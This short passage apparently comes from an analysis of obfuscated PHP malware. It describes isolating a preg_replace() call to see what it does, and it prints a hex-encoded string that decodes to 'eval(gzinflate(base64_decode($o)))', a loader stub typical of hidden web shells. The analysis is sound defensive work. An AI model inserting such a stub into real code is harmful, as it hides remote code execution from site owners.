This was done by taking the preg_replace() function and creating a new PHP file with the function and arguments and analyzing the results... HEX/SHELLCODE STRING AT BEGINNING: \x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B" DECODED VALUE: eval(gzinflate(base64_decode($o)));"